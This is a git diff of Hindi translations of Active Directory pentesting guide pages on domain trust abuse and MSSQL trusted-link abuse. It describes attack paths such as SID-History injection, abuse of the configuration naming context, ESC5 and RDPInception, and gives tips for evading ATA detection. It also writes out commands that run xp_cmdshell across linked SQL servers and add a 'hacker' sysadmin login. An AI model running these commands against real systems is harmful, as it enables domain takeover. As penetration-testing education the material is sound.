(TGT)** का अनुरोध करता है। 2. यदि क्लाइंट सफलतापूर्वक प्रमाणित होता है, तो DC1 एक नया TGT जारी करता है। 3. क्लाइंट फिर **डोमेन 2** में संसाधनों तक पहुँचने के लिए DC1 से एक **इंटर-रीलम TGT** का अनुरोध करता है। -4. इंटर-रीलम TGT को DC1 और DC2 के बीच साझा ट्रस्ट कुंजी के साथ एन्क्रिप्ट किया गया है जो दो-तरफा डोमेन ट्रस्ट का हिस्सा है। +4. इंटर-रीलम TGT को DC1 और DC2 के बीच दो-तरफा डोमेन ट्रस्ट के हिस्से के रूप में साझा किए गए **विश्वास कुंजी** के साथ एन्क्रिप्ट किया गया है। 5. क्लाइंट इंटर-रीलम TGT को **डोमेन 2 के डोमेन कंट्रोलर (DC2)** पर ले जाता है। -6. DC2 अपने साझा ट्रस्ट कुंजी का उपयोग करके इंटर-रीलम TGT की सत्यापन करता है और यदि मान्य है, तो वह उस सर्वर के लिए **टिकट ग्रांटिंग सेवा (TGS)** जारी करता है जिसे क्लाइंट पहुँच प्राप्त करना चाहता है। -7. अंततः, क्लाइंट इस TGS को सर्वर को प्रस्तुत करता है, जो सर्वर के खाते के हैश के साथ एन्क्रिप्ट किया गया है, ताकि डोमेन 2 में सेवा तक पहुँच प्राप्त की जा सके। +6. DC2 अपने साझा विश्वास कुंजी का उपयोग करके इंटर-रीलम TGT की सत्यापन करता है और यदि मान्य है, तो वह उस सर्वर के लिए **टिकट ग्रांटिंग सेवा (TGS)** जारी करता है जिसे क्लाइंट पहुँचाना चाहता है। +7. अंततः, क्लाइंट इस TGS को सर्वर को प्रस्तुत करता है, जो सर्वर के खाते के हैश के साथ एन्क्रिप्ट किया गया है, ताकि डोमेन 2 में सेवा तक पहुँच प्राप्त कर सके। ### विभिन्न ट्रस्ट -यह ध्यान रखना महत्वपूर्ण है कि **एक ट्रस्ट 1-तरफा या 2-तरफा** हो सकता है। 2-तरफा विकल्प में, दोनों डोमेन एक-दूसरे पर विश्वास करेंगे, लेकिन **1-तरफा** ट्रस्ट संबंध में एक डोमेन **विश्वसनीय** होगा और दूसरा **विश्वास करने वाला** डोमेन होगा। अंतिम मामले में, **आप केवल विश्वसनीय डोमेन से विश्वास करने वाले डोमेन के अंदर संसाधनों तक पहुँच प्राप्त कर सकेंगे**। +यह ध्यान रखना महत्वपूर्ण है कि **एक ट्रस्ट 1-तरफा या 2-तरफा** हो सकता है। 2-तरफा विकल्प में, दोनों डोमेन एक-दूसरे पर विश्वास करेंगे, लेकिन **1-तरफा** ट्रस्ट संबंध में एक डोमेन **विश्वसनीय** होगा और दूसरा **विश्वास करने वाला** डोमेन होगा। अंतिम मामले में, **आप केवल विश्वसनीय डोमेन से विश्वास करने वाले डोमेन के अंदर संसाधनों तक पहुँच सकते हैं**। यदि डोमेन A, डोमेन B पर विश्वास करता है, तो A विश्वास करने वाला डोमेन है और B विश्वसनीय है। इसके अलावा, **डोमेन A** में, यह एक **आउटबाउंड ट्रस्ट** होगा; और **डोमेन B** में, यह एक **इनबाउंड ट्रस्ट** होगा। **विभिन्न विश्वास संबंध** -- **पैरेंट-चाइल्ड ट्रस्ट**: यह एक सामान्य सेटअप है जो एक ही वन के भीतर होता है, जहाँ एक चाइल्ड डोमेन अपने पैरेंट डोमेन के साथ स्वचालित रूप से एक दो-तरफा पारगम्य ट्रस्ट रखता है। मूल रूप से, इसका अर्थ है कि प्रमाणीकरण अनुरोध पैरेंट और चाइल्ड के बीच निर्बाध रूप से प्रवाहित हो सकते हैं। -- **क्रॉस-लिंक ट्रस्ट**: जिसे "शॉर्टकट ट्रस्ट" कहा जाता है, ये चाइल्ड डोमेन के बीच स्थापित किए जाते हैं ताकि संदर्भ प्रक्रियाओं को तेज किया जा सके। जटिल वनों में, प्रमाणीकरण संदर्भ आमतौर पर वन की जड़ तक यात्रा करते हैं और फिर लक्षित डोमेन तक पहुँचते हैं। क्रॉस-लिंक्स बनाकर, यात्रा को छोटा किया जाता है, जो विशेष रूप से भौगोलिक रूप से फैले वातावरण में फायदेमंद होता है। -- **बाहरी ट्रस्ट**: ये विभिन्न, असंबंधित डोमेन के बीच स्थापित किए जाते हैं और स्वाभाविक रूप से गैर-पारगम्य होते हैं। [Microsoft के दस्तावेज़]() के अनुसार, बाहरी ट्रस्ट उन संसाधनों तक पहुँचने के लिए उपयोगी होते हैं जो वर्तमान वन के बाहर के डोमेन में हैं जो वन ट्रस्ट द्वारा जुड़े नहीं हैं। सुरक्षा को बाहरी ट्रस्ट के साथ SID फ़िल्टरिंग के माध्यम से बढ़ाया जाता है। +- **माता-पिता-शिशु ट्रस्ट**: यह एक सामान्य सेटअप है जो एक ही वन के भीतर होता है, जहाँ एक शिशु डोमेन अपने माता-पिता डोमेन के साथ स्वचालित रूप से एक दो-तरफा पारगम्य ट्रस्ट रखता है। मूल रूप से, इसका अर्थ है कि प्रमाणीकरण अनुरोध माता-पिता और शिशु के बीच निर्बाध रूप से प्रवाहित हो सकते हैं। +- **क्रॉस-लिंक ट्रस्ट**: जिसे "शॉर्टकट ट्रस्ट" कहा जाता है, ये शिशु डोमेन के बीच स्थापित होते हैं ताकि संदर्भ प्रक्रियाओं को तेज किया जा सके। जटिल वन में, प्रमाणीकरण संदर्भ आमतौर पर वन की जड़ तक यात्रा करते हैं और फिर लक्षित डोमेन तक। क्रॉस-लिंक्स बनाकर, यात्रा को छोटा किया जाता है, जो विशेष रूप से भौगोलिक रूप से फैले वातावरण में फायदेमंद होता है। +- **बाहरी ट्रस्ट**: ये विभिन्न, असंबंधित डोमेन के बीच स्थापित होते हैं और स्वाभाविक रूप से गैर-पारगम्य होते हैं। [Microsoft के दस्तावेज़]() के अनुसार, बाहरी ट्रस्ट उन संसाधनों तक पहुँचने के लिए उपयोगी होते हैं जो वर्तमान वन के बाहर के डोमेन में हैं जो वन ट्रस्ट द्वारा जुड़े नहीं हैं। SID फ़िल्टरिंग के माध्यम से सुरक्षा को बाहरी ट्रस्ट के साथ बढ़ाया जाता है। - **ट्री-रूट ट्रस्ट**: ये ट्रस्ट स्वचालित रूप से वन की जड़ डोमेन और एक नए जोड़े गए ट्री रूट के बीच स्थापित होते हैं। जबकि ये सामान्यतः नहीं मिलते हैं, ट्री-रूट ट्रस्ट नए डोमेन ट्री को एक वन में जोड़ने के लिए महत्वपूर्ण होते हैं, जिससे उन्हें एक अद्वितीय डोमेन नाम बनाए रखने और दो-तरफा पारगम्यता सुनिश्चित करने की अनुमति मिलती है। [Microsoft के गाइड]() में अधिक जानकारी मिल सकती है। - **वन ट्रस्ट**: यह प्रकार का ट्रस्ट दो वन रूट डोमेन के बीच एक दो-तरफा पारगम्य ट्रस्ट है, जो सुरक्षा उपायों को बढ़ाने के लिए SID फ़िल्टरिंग को भी लागू करता है। - **MIT ट्रस्ट**: ये ट्रस्ट गैर-Windows, [RFC4120-अनुरूप](https://tools.ietf.org/html/rfc4120) Kerberos डोमेन के साथ स्थापित होते हैं। MIT ट्रस्ट थोड़े अधिक विशेषीकृत होते हैं और उन वातावरणों के लिए होते हैं जिन्हें Windows पारिस्थितिकी तंत्र के बाहर Kerberos-आधारित प्रणालियों के साथ एकीकरण की आवश्यकता होती है। #### **विश्वास संबंधों में अन्य अंतर** -- एक ट्रस्ट संबंध भी **पारगम्य** (A ट्रस्ट B, B ट्रस्ट C, तो A ट्रस्ट C) या **गैर-पारगम्य** हो सकता है। +- एक ट्रस्ट संबंध भी **पारगम्य** हो सकता है (A ट्रस्ट B, B ट्रस्ट C, तो A ट्रस्ट C) या **गैर-पारगम्य**। - एक ट्रस्ट संबंध को **द्विदिशीय ट्रस्ट** (दोनों एक-दूसरे पर विश्वास करते हैं) या **एक-तरफा ट्रस्ट** (केवल उनमें से एक दूसरे पर विश्वास करता है) के रूप में स्थापित किया जा सकता है। ### हमले का मार्ग 1. **विश्वास संबंधों** की गणना करें -2. जाँच करें कि क्या कोई **सुरक्षा प्रमुख** (उपयोगकर्ता/समूह/कंप्यूटर) के पास **दूसरे डोमेन** के संसाधनों तक **पहुँच** है, शायद ACE प्रविष्टियों के माध्यम से या दूसरे डोमेन के समूहों में होने के कारण। **डोमेन के बीच संबंधों** की तलाश करें (यह ट्रस्ट शायद इसके लिए बनाया गया था)। +2. जांचें कि क्या कोई **सुरक्षा प्रमुख** (उपयोगकर्ता/समूह/कंप्यूटर) के पास **दूसरे डोमेन** के संसाधनों तक **पहुँच** है, शायद ACE प्रविष्टियों द्वारा या दूसरे डोमेन के समूहों में होने के कारण। **डोमेन के बीच संबंधों** की तलाश करें (यह ट्रस्ट शायद इसके लिए बनाया गया था)। 1. इस मामले में kerberoast एक और विकल्प हो सकता है। 3. **खातों का समझौता करें** जो **डोमेन के माध्यम से पिवट** कर सकते हैं। हमलावरों को दूसरे डोमेन में संसाधनों तक पहुँच प्राप्त करने के लिए तीन प्राथमिक तंत्रों के माध्यम से पहुँच मिल सकती है: -- **स्थानीय समूह सदस्यता**: प्रमुखों को मशीनों पर स्थानीय समूहों में जोड़ा जा सकता है, जैसे कि सर्वर पर "व्यवस्थापक" समूह, जो उन्हें उस मशीन पर महत्वपूर्ण नियंत्रण प्रदान करता है। +- **स्थानीय समूह सदस्यता**: प्रमुखों को मशीनों पर स्थानीय समूहों में जोड़ा जा सकता है, जैसे कि सर्वर पर "व्यवस्थापकों" का समूह, जो उन्हें उस मशीन पर महत्वपूर्ण नियंत्रण प्रदान करता है। - **विदेशी डोमेन समूह सदस्यता**: प्रमुख विदेशी डोमेन के भीतर समूहों के सदस्य भी हो सकते हैं। हालाँकि, इस विधि की प्रभावशीलता ट्रस्ट की प्रकृति और समूह के दायरे पर निर्भर करती है। -- **एक्सेस कंट्रोल लिस्ट (ACLs)**: प्रमुखों को एक **ACL** में निर्दिष्ट किया जा सकता है, विशेष रूप से **DACL** के भीतर **ACEs** के रूप में, जो उन्हें विशिष्ट संसाधनों तक पहुँच प्रदान करता है। जो लोग ACLs, DACLs, और ACEs के तंत्र में गहराई से जाना चाहते हैं, उनके लिए “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” शीर्षक वाला श्वेत पत्र एक अमूल्य संसाधन है। +- **एक्सेस कंट्रोल लिस्ट (ACLs)**: प्रमुखों को एक **ACL** में निर्दिष्ट किया जा सकता है, विशेष रूप से **DACL** के भीतर **ACEs** के रूप में, जो उन्हें विशिष्ट संसाधनों तक पहुँच प्रदान करता है। जो लोग ACLs, DACLs, और ACEs के तंत्र में गहराई से जाना चाहते हैं, उनके लिए "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" शीर्षक वाला श्वेत पत्र एक अमूल्य संसाधन है। -### बाहरी उपयोगकर्ताओं/समूहों के साथ अनुमतियों की खोज +### बाहरी उपयोगकर्ताओं/समूहों को अनुमतियों के साथ खोजें आप **`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** की जाँच कर सकते हैं ताकि डोमेन में विदेशी सुरक्षा प्रमुखों को खोजा जा सके। ये **एक बाहरी डोमेन/वन** से उपयोगकर्ता/समूह होंगे। @@ -606,17 +608,18 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts SID-History इंजेक्शन का उपयोग करके चाइल्ड/पैरेंट डोमेन में एंटरप्राइज एडमिन के रूप में वृद्धि करें: + {{#ref}} sid-history-injection.md {{#endref}} -#### लिखने योग्य कॉन्फ़िगरेशन NC का शोषण +#### लिखने योग्य कॉन्फ़िगरेशन NC का शोषण करें -कॉन्फ़िगरेशन नाम संदर्भ (NC) का शोषण कैसे किया जा सकता है, यह समझना महत्वपूर्ण है। कॉन्फ़िगरेशन NC सक्रिय निर्देशिका (AD) वातावरण में एक वन के भीतर कॉन्फ़िगरेशन डेटा के लिए एक केंद्रीय भंडार के रूप में कार्य करता है। यह डेटा वन के प्रत्येक डोमेन कंट्रोलर (DC) में पुनरुत्पादित होता है, जिसमें लिखने योग्य DCs कॉन्फ़िगरेशन NC की एक लिखने योग्य प्रति बनाए रखते हैं। इसका शोषण करने के लिए, किसी को **DC पर SYSTEM विशेषाधिकार** होना चाहिए, सबसे अच्छा एक चाइल्ड DC। +कॉन्फ़िगरेशन नामांकन संदर्भ (NC) का शोषण कैसे किया जा सकता है, यह समझना महत्वपूर्ण है। कॉन्फ़िगरेशन NC सक्रिय निर्देशिका (AD) वातावरण में एक वन के भीतर कॉन्फ़िगरेशन डेटा के लिए एक केंद्रीय भंडार के रूप में कार्य करता है। यह डेटा वन के भीतर प्रत्येक डोमेन कंट्रोलर (DC) पर पुन: पेश किया जाता है, जिसमें लिखने योग्य DC कॉन्फ़िगरेशन NC की एक लिखने योग्य प्रति बनाए रखते हैं। इसका शोषण करने के लिए, किसी को **DC पर SYSTEM विशेषाधिकार** होना चाहिए, सबसे अच्छा एक चाइल्ड DC। **रूट DC साइट से GPO लिंक करें** -कॉन्फ़िगरेशन NC का साइट्स कंटेनर AD वन के भीतर सभी डोमेन-जोड़े गए कंप्यूटरों की साइटों के बारे में जानकारी शामिल करता है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ कार्य करके, हमलावर GPOs को रूट DC साइटों से लिंक कर सकते हैं। यह क्रिया इन साइटों पर लागू नीतियों में हेरफेर करके रूट डोमेन को संभावित रूप से समझौता कर सकती है। +कॉन्फ़िगरेशन NC के साइट्स कंटेनर में AD वन के भीतर सभी डोमेन-जोड़े गए कंप्यूटरों की साइटों के बारे में जानकारी शामिल होती है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ कार्य करते हुए, हमलावर रूट DC साइटों से GPO को लिंक कर सकते हैं। यह क्रिया इन साइटों पर लागू नीतियों को हेरफेर करके रूट डोमेन को संभावित रूप से समझौता कर सकती है। गहन जानकारी के लिए, कोई [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) पर शोध कर सकता है। @@ -626,21 +629,23 @@ sid-history-injection.md विस्तृत विश्लेषण और चरण-दर-चरण मार्गदर्शन यहाँ पाया जा सकता है: + {{#ref}} golden-dmsa-gmsa.md {{#endref}} -पूरक प्रतिनिधि MSA हमले (BadSuccessor – माइग्रेशन विशेषताओं का शोषण): +पूरक प्रतिनिधि MSA हमला (BadSuccessor – माइग्रेशन विशेषताओं का शोषण): + {{#ref}} badsuccessor-dmsa-migration-abuse.md {{#endref}} -अतिरिक्त बाहरी शोध: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent). +अतिरिक्त बाहरी शोध: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)। **Schema परिवर्तन हमला** -यह विधि धैर्य की आवश्यकता होती है, नए विशेषाधिकार प्राप्त AD वस्तुओं के निर्माण की प्रतीक्षा करना। SYSTEM विशेषाधिकार के साथ, एक हमलावर AD स्कीमा को संशोधित कर सकता है ताकि किसी भी उपयोगकर्ता को सभी वर्गों पर पूर्ण नियंत्रण दिया जा सके। इससे नए बनाए गए AD वस्तुओं पर अनधिकृत पहुंच और नियंत्रण हो सकता है। +इस विधि के लिए धैर्य की आवश्यकता होती है, नए विशेषाधिकार प्राप्त AD वस्तुओं के निर्माण की प्रतीक्षा करना। SYSTEM विशेषाधिकार के साथ, एक हमलावर AD स्कीमा को संशोधित कर सकता है ताकि किसी भी उपयोगकर्ता को सभी वर्गों पर पूर्ण नियंत्रण दिया जा सके। इससे नए बनाए गए AD वस्तुओं पर अनधिकृत पहुंच और नियंत्रण हो सकता है। अधिक पढ़ने के लिए [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) पर जाएं। @@ -648,7 +653,7 @@ badsuccessor-dmsa-migration-abuse.md ADCS ESC5 भेद्यता सार्वजनिक कुंजी अवसंरचना (PKI) वस्तुओं पर नियंत्रण को लक्षित करती है ताकि एक प्रमाणपत्र टेम्पलेट बनाया जा सके जो वन के भीतर किसी भी उपयोगकर्ता के रूप में प्रमाणीकरण की अनुमति देता है। चूंकि PKI वस्तुएं कॉन्फ़िगरेशन NC में स्थित होती हैं, एक लिखने योग्य चाइल्ड DC का समझौता ESC5 हमलों को निष्पादित करने की अनुमति देता है। -इस पर अधिक विवरण पढ़ा जा सकता है [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)। ADCS की कमी वाले परिदृश्यों में, हमलावर आवश्यक घटकों को स्थापित करने की क्षमता रखता है, जैसा कि [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) में चर्चा की गई है। +इस पर अधिक जानकारी [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) में पढ़ी जा सकती है। ADCS की कमी वाले परिदृश्यों में, हमलावर आवश्यक घटकों को स्थापित करने की क्षमता रखता है, जैसा कि [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) में चर्चा की गई है। ### बाहरी वन डोमेन - एक-तरफा (Inbound) या द्विदिश ```bash @@ -661,7 +666,7 @@ TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` -इस परिदृश्य में **आपका डोमेन एक बाहरी द्वारा विश्वसनीय है** जो आपको **अनिश्चित अनुमतियाँ** देता है। आपको यह पता लगाने की आवश्यकता होगी कि **आपके डोमेन के कौन से प्रिंसिपल्स के पास बाहरी डोमेन पर कौन सा एक्सेस है** और फिर इसे भुनाने की कोशिश करें: +इस परिदृश्य में **आपका डोमेन एक बाहरी द्वारा विश्वसनीय है** जो आपको **अनिश्चित अनुमतियाँ** देता है। आपको यह पता लगाने की आवश्यकता है कि **आपके डोमेन के कौन से प्रिंसिपल्स के पास बाहरी डोमेन पर कौन सा एक्सेस है** और फिर इसे भुनाने की कोशिश करें: {{#ref}} external-forest-domain-oneway-inbound.md @@ -681,32 +686,32 @@ WhenChanged : 2/19/2021 10:15:24 PM ``` इस परिदृश्य में **आपका डोमेन** किसी **विभिन्न डोमेन** से प्रिंसिपल को कुछ **अधिकार** **विश्वास** कर रहा है। -हालांकि, जब एक **डोमेन को विश्वास** किया जाता है, तो विश्वास करने वाला डोमेन एक **उपयोगकर्ता** बनाता है जिसका **पूर्वानुमानित नाम** होता है और जो **विश्वासित पासवर्ड** का उपयोग करता है। इसका मतलब है कि यह संभव है कि **विश्वास करने वाले डोमेन से एक उपयोगकर्ता को एक्सेस करके विश्वासित डोमेन में प्रवेश किया जा सके** ताकि उसे सूचीबद्ध किया जा सके और अधिक अधिकारों को बढ़ाने की कोशिश की जा सके: +हालांकि, जब एक **डोमेन को विश्वास** किया जाता है, तो विश्वास करने वाला डोमेन एक **उपयोगकर्ता** बनाता है जिसका **पूर्वानुमानित नाम** होता है जो **विश्वासित पासवर्ड** का उपयोग करता है। इसका मतलब है कि यह संभव है कि **विश्वास करने वाले डोमेन से एक उपयोगकर्ता तक पहुंच प्राप्त करें ताकि विश्वासित डोमेन के अंदर प्रवेश किया जा सके** और इसे सूचीबद्ध किया जा सके और अधिक अधिकारों को बढ़ाने की कोशिश की जा सके: {{#ref}} external-forest-domain-one-way-outbound.md {{#endref}} -विश्वासित डोमेन को समझौता करने का एक और तरीका है [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) को खोजना जो डोमेन विश्वास की **विपरीत दिशा** में बनाया गया है (जो बहुत सामान्य नहीं है)। +विश्वासित डोमेन को समझौता करने का एक और तरीका यह है कि एक [**SQL ट्रस्टेड लिंक**](abusing-ad-mssql.md#mssql-trusted-links) खोजा जाए जो डोमेन ट्रस्ट के **विपरीत दिशा** में बनाया गया हो (जो बहुत सामान्य नहीं है)। -विश्वासित डोमेन को समझौता करने का एक और तरीका है उस मशीन पर इंतजार करना जहां **विश्वासित डोमेन का एक उपयोगकर्ता** **RDP** के माध्यम से लॉगिन कर सकता है। फिर, हमलावर RDP सत्र प्रक्रिया में कोड इंजेक्ट कर सकता है और **विक्टिम के मूल डोमेन** तक पहुंच सकता है।\ -इसके अलावा, यदि **विक्टिम ने अपना हार्ड ड्राइव माउंट किया है**, तो RDP सत्र प्रक्रिया से हमलावर **हार्ड ड्राइव के स्टार्टअप फ़ोल्डर** में **बैकडोर** स्टोर कर सकता है। इस तकनीक को **RDPInception** कहा जाता है। +विश्वासित डोमेन को समझौता करने का एक और तरीका यह है कि एक मशीन पर इंतजार किया जाए जहां **विश्वासित डोमेन का उपयोगकर्ता** **RDP** के माध्यम से लॉगिन कर सकता है। फिर, हमलावर RDP सत्र प्रक्रिया में कोड इंजेक्ट कर सकता है और **विक्टिम के मूल डोमेन** तक वहां से पहुंच सकता है।\ +इसके अलावा, यदि **विक्टिम ने अपना हार्ड ड्राइव माउंट किया है**, तो **RDP सत्र** प्रक्रिया से हमलावर **हार्ड ड्राइव के स्टार्टअप फ़ोल्डर** में **बैकडोर** स्टोर कर सकता है। इस तकनीक को **RDPInception** कहा जाता है। {{#ref}} rdp-sessions-abuse.md {{#endref}} -### डोमेन विश्वास दुरुपयोग शमन +### डोमेन ट्रस्ट दुरुपयोग शमन ### **SID फ़िल्टरिंग:** - SID इतिहास विशेषता का उपयोग करके हमलों के जोखिम को SID फ़िल्टरिंग द्वारा कम किया जाता है, जो सभी इंटर-फॉरेस्ट ट्रस्ट पर डिफ़ॉल्ट रूप से सक्रिय होता है। यह इस धारणा पर आधारित है कि इंट्रा-फॉरेस्ट ट्रस्ट सुरक्षित हैं, फॉरेस्ट को सुरक्षा सीमा के रूप में मानते हुए, न कि डोमेन को, जैसा कि माइक्रोसॉफ्ट का मानना है। -- हालाँकि, एक पकड़ है: SID फ़िल्टरिंग अनुप्रयोगों और उपयोगकर्ता पहुंच को बाधित कर सकता है, जिसके कारण इसे कभी-कभी निष्क्रिय किया जा सकता है। +- हालाँकि, एक पकड़ है: SID फ़िल्टरिंग अनुप्रयोगों और उपयोगकर्ता पहुंच को बाधित कर सकता है, जिसके कारण इसे कभी-कभी निष्क्रिय किया जाता है। ### **चयनात्मक प्रमाणीकरण:** -- इंटर-फॉरेस्ट ट्रस्ट के लिए, चयनात्मक प्रमाणीकरण का उपयोग यह सुनिश्चित करता है कि दोनों फॉरेस्ट के उपयोगकर्ताओं को स्वचालित रूप से प्रमाणीकरण नहीं किया जाता है। इसके बजाय, उपयोगकर्ताओं को विश्वास करने वाले डोमेन या फॉरेस्ट के भीतर डोमेन और सर्वरों तक पहुंचने के लिए स्पष्ट अनुमतियों की आवश्यकता होती है। -- यह ध्यान रखना महत्वपूर्ण है कि ये उपाय लिखने योग्य कॉन्फ़िगरेशन नामकरण संदर्भ (NC) के शोषण या विश्वास खाते पर हमलों के खिलाफ सुरक्षा नहीं करते हैं। +- इंटर-फॉरेस्ट ट्रस्ट के लिए, चयनात्मक प्रमाणीकरण का उपयोग यह सुनिश्चित करता है कि दोनों फॉरेस्ट के उपयोगकर्ताओं को स्वचालित रूप से प्रमाणीकरण नहीं किया जाता है। इसके बजाय, उपयोगकर्ताओं को विश्वास करने वाले डोमेन या फॉरेस्ट के भीतर डोमेन और सर्वरों तक पहुंच के लिए स्पष्ट अनुमतियों की आवश्यकता होती है। +- यह ध्यान रखना महत्वपूर्ण है कि ये उपाय लिखने योग्य कॉन्फ़िगरेशन नामकरण संदर्भ (NC) के शोषण या ट्रस्ट खाते पर हमलों के खिलाफ सुरक्षा नहीं करते हैं। [**iRed.team पर डोमेन ट्रस्ट के बारे में अधिक जानकारी।**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) @@ -742,7 +747,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move - **Microsoft ATA डिटेक्शन बायपास**: - **उपयोगकर्ता सूचीकरण**: डोमेन कंट्रोलर्स पर सत्र सूचीकरण से बचना ATA डिटेक्शन को रोकने के लिए। - **टिकट अनुकरण**: टिकट निर्माण के लिए **aes** कुंजियों का उपयोग करना डिटेक्शन से बचने में मदद करता है क्योंकि NTLM में डाउनग्रेड नहीं होता है। -- **DCSync हमले**: ATA डिटेक्शन से बचने के लिए गैर-डोमेन कंट्रोलर से निष्पादन करना सलाह दी जाती है, क्योंकि डोमेन कंट्रोलर से सीधे निष्पादन करने पर अलर्ट ट्रिगर होंगे। +- **DCSync हमले**: ATA डिटेक्शन से बचने के लिए गैर-डोमेन कंट्रोलर से निष्पादन करना सलाह दी जाती है, क्योंकि डोमेन कंट्रोलर से सीधे निष्पादन करने पर अलर्ट ट्रिगर होगा। ## संदर्भ diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index da524f02c..3b48a6c27 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -108,7 +108,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads #The discovered MSSQL servers must be on the file: C:\temp\instances.txt Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test ``` -### डोमेन के अंदर से एन्यूमरेट करना +### डोमेन के अंदर से एन्यूमरेटिंग ```bash # Get local MSSQL instance (if any) Get-SQLInstanceLocal @@ -166,21 +166,22 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary ``` -**निम्नलिखित अनुभाग में मैन्युअल रूप से यह कैसे करना है, यह देखें।** +Check in the page mentioned in the **following section how to do this manually.** + +### MSSQL Basic Hacking Tricks -### MSSQL बुनियादी हैकिंग ट्रिक्स {{#ref}} ../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/ {{#endref}} -## MSSQL ट्रस्टेड लिंक +## MSSQL Trusted Links -यदि एक MSSQL उदाहरण को एक अलग MSSQL उदाहरण द्वारा ट्रस्ट किया गया है (डेटाबेस लिंक)। यदि उपयोगकर्ता के पास ट्रस्टेड डेटाबेस पर विशेषाधिकार हैं, तो वह **अन्य उदाहरण में क्वेरी निष्पादित करने के लिए ट्रस्ट संबंध का उपयोग कर सकेगा**। ये ट्रस्ट चेन किए जा सकते हैं और किसी बिंदु पर उपयोगकर्ता कुछ गलत कॉन्फ़िगर किए गए डेटाबेस को खोजने में सक्षम हो सकता है जहाँ वह कमांड निष्पादित कर सकता है। +यदि एक MSSQL उदाहरण को एक अलग MSSQL उदाहरण द्वारा विश्वसनीय (डेटाबेस लिंक) माना जाता है। यदि उपयोगकर्ता के पास विश्वसनीय डेटाबेस पर विशेषाधिकार हैं, तो वह **अन्य उदाहरण में क्वेरी निष्पादित करने के लिए विश्वास संबंध का उपयोग करने में सक्षम होगा**। ये विश्वास श्रृंखलाबद्ध किए जा सकते हैं और किसी बिंदु पर उपयोगकर्ता कुछ गलत कॉन्फ़िगर किए गए डेटाबेस को खोजने में सक्षम हो सकता है जहाँ वह कमांड निष्पादित कर सकता है। **डेटाबेस के बीच के लिंक वन ट्रस्ट के पार भी काम करते हैं।** -### पॉवरशेल दुरुपयोग +### Powershell Abuse ```bash #Look for MSSQL links of an accessible instance Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0 @@ -212,7 +213,7 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c ## If you see the results of @@selectname, it worked Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');' ``` -एक और समान उपकरण जो उपयोग किया जा सकता है वह है [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn): +एक और समान उपकरण जिसका उपयोग किया जा सकता है वह है [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn): ```bash SharpSQLPwn.exe /modules:LIC /linkedsql: /cmd:whoami /impuser:sa # Cobalt Strike @@ -276,14 +277,15 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT ``` ## स्थानीय विशेषाधिकार वृद्धि -**MSSQL स्थानीय उपयोगकर्ता** के पास आमतौर पर एक विशेष प्रकार का विशेषाधिकार होता है जिसे **`SeImpersonatePrivilege`** कहा जाता है। यह खाता "प्रमाणीकरण के बाद एक ग्राहक का अनुकरण" करने की अनुमति देता है। +**MSSQL स्थानीय उपयोगकर्ता** के पास आमतौर पर एक विशेष प्रकार का विशेषाधिकार होता है जिसे **`SeImpersonatePrivilege`** कहा जाता है। यह खाते को "प्रमाणीकरण के बाद एक ग्राहक का अनुकरण करने" की अनुमति देता है। -कई लेखकों द्वारा विकसित एक रणनीति यह है कि एक SYSTEM सेवा को एक धोखाधड़ी या मैन-इन-द-मिडल सेवा के लिए प्रमाणीकरण करने के लिए मजबूर किया जाए जिसे हमलावर बनाता है। यह धोखाधड़ी सेवा तब SYSTEM सेवा का अनुकरण कर सकती है जबकि यह प्रमाणीकरण करने की कोशिश कर रही है। +एक रणनीति जो कई लेखकों ने विकसित की है, वह है एक SYSTEM सेवा को एक 